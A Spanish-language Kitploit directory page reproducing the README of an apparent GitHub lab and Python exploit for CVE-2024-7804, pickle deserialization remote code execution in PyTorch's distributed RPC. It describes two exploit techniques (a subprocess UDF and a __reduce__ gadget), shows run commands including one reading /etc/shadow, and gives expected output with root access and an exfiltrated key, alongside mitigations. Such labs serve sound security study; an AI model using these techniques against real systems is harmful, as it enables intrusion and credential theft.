Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EXPLOIT-CVE-2024-7804 — Laboratorio Docker + exploit en Python para CVE-2024-7804 (RCE por deserialización insegura de pickle en torch.distributed.rpc de PyTorch, CWE-502, torch <= 2.3.1) | Kitploit
Herramientas/GitHubGitHub/joaovicdev/exploit-cve-2024-7804
Análisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubjoaovicdev/exploit-cve-2024-7804

EXPLOIT-CVE-2024-7804

Laboratorio Docker + exploit en Python para CVE-2024-7804 (RCE por deserialización insegura de pickle en torch.distributed.rpc de PyTorch, CWE-502, torch <= 2.3.1)

Ver Repositorio
10hace 21 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-7804 — Deserialización insegura en PyTorch Distributed RPC (RCE)

Laboratorio autocontenido + exploit para CVE-2024-7804: ejecución remota de código en el framework RPC distribuido de PyTorch (torch.distributed.rpc) mediante deserialización insegura de datos no confiables (CWE-502).

  • Afectado: torch <= 2.3.1
  • Código vulnerable: torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()
  • CVSS 3.0: 9.8 (Crítico)

Nota: este aviso fue posteriormente retirado/rechazado por los mantenedores y Red Hat como "funcionalidad conocida" — el RPC de PyTorch es por diseño un sistema de pares confiables. El laboratorio sigue siendo una demostración precisa y práctica del problema reportado.

La vulnerabilidad

Cada llamada RPC envía un namedtuple PythonUDF (, , ). En el nodo receptor se reconstruye con un , sin lista blanca y sin verificación de integridad:

func
args
kwargs
pickle.Unpickler básico
root@kitploit:~
# torch/distributed/rpc/internal.py  (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
    ...
    unpickler = _unpickler(io.BytesIO(binary_data))   # _unpickler = pickle.Unpickler
    ret = unpickler.load()                            # <-- pickle controlado por el atacante
    ...

Cualquier par que pueda unirse al "mundo" RPC puede, por tanto, hacer que el nodo ejecute código arbitrario — ya sea mediante un gadget __reduce__ de pickle que se activa durante load(), o simplemente nombrando cualquier invocable importable como UDF, ya que nada restringe lo que el nodo ejecutará.

Estructura

root@kitploit:~
CVE-2024-7804/
├── docker-compose.yml   # víctima + atacante en una única red bridge
├── lab/
│   ├── Dockerfile       # python:3.11-slim + torch 2.3.1 (CPU) — la imagen vulnerable
│   └── server.py        # víctima: un worker RPC confiado que espera pares
└── exploit/
    └── exploit.py       # atacante: se une al mundo y ejecuta RCE en la víctima

Requisitos

Docker con el plugin Compose. Solo CPU (sin GPU), funciona en amd64 y arm64.

Ejecutarlo

root@kitploit:~
# 1. Iniciar el nodo víctima vulnerable (rank 0, espera a un par)
docker compose up --build -d victim

# 2. Lanzar el exploit (por defecto: ejecuta un comando en la víctima y devuelve su stdout)
docker compose run --rm attacker

# 3. Derribar todo
docker compose down

Salida esperada (técnica por defecto)

root@kitploit:~
[attacker] ===== salida del comando devuelta desde la víctima =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- secreto exfiltrado ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== fin de la salida =====

El atacante ejecutó comandos como root en la víctima y exfiltró un archivo que nunca debía exponerse.

Dos técnicas en el exploit

ComandoQué demuestra
docker compose run --rm attackerEnvía subprocess.check_output como UDF. La víctima ejecuta el comando y devuelve su stdout — RCE y exfiltración en una sola llamada.
docker compose run --rm attacker python exploit.py --reduceEnvía un objeto cuyo __reduce__ ejecuta os.system mientras la víctima deserializa el payload — RCE en el momento de la deserialización (la esencia de CWE-502), antes incluso de que se llame al UDF.

Comando personalizado:

root@kitploit:~
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"

Para --reduce, el comando se ejecuta en la víctima, así que obsérvalo allí:

root@kitploit:~
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim        # la salida aparece en el log de la VÍCTIMA

El log de la víctima para --reduce termina con un traceback en torch/distributed/rpc/internal.py, línea ~207 (python_udf.func(...)) — prueba de que el payload ya fue reconstruido y ejecutado por el deserializador inseguro.

Mitigación

  • Actualiza más allá de la línea afectada y sigue las directrices de PyTorch: ejecuta RPC solo entre nodos mutuamente confiados en una red confiable.
  • Nunca expongas un puerto de rendezvous RPC (por defecto 29500) a redes no confiables.
  • Trata cualquier protocolo basado en pickle como ejecución de código: autentica y cifra a los pares (p. ej. mTLS) y aísla los workers RPC.

Aviso legal

Solo para fines educativos y pruebas de seguridad autorizadas. El laboratorio es intencionalmente vulnerable — no lo despliegues y ejecuta el exploit únicamente contra este laboratorio.

Descargar herramienta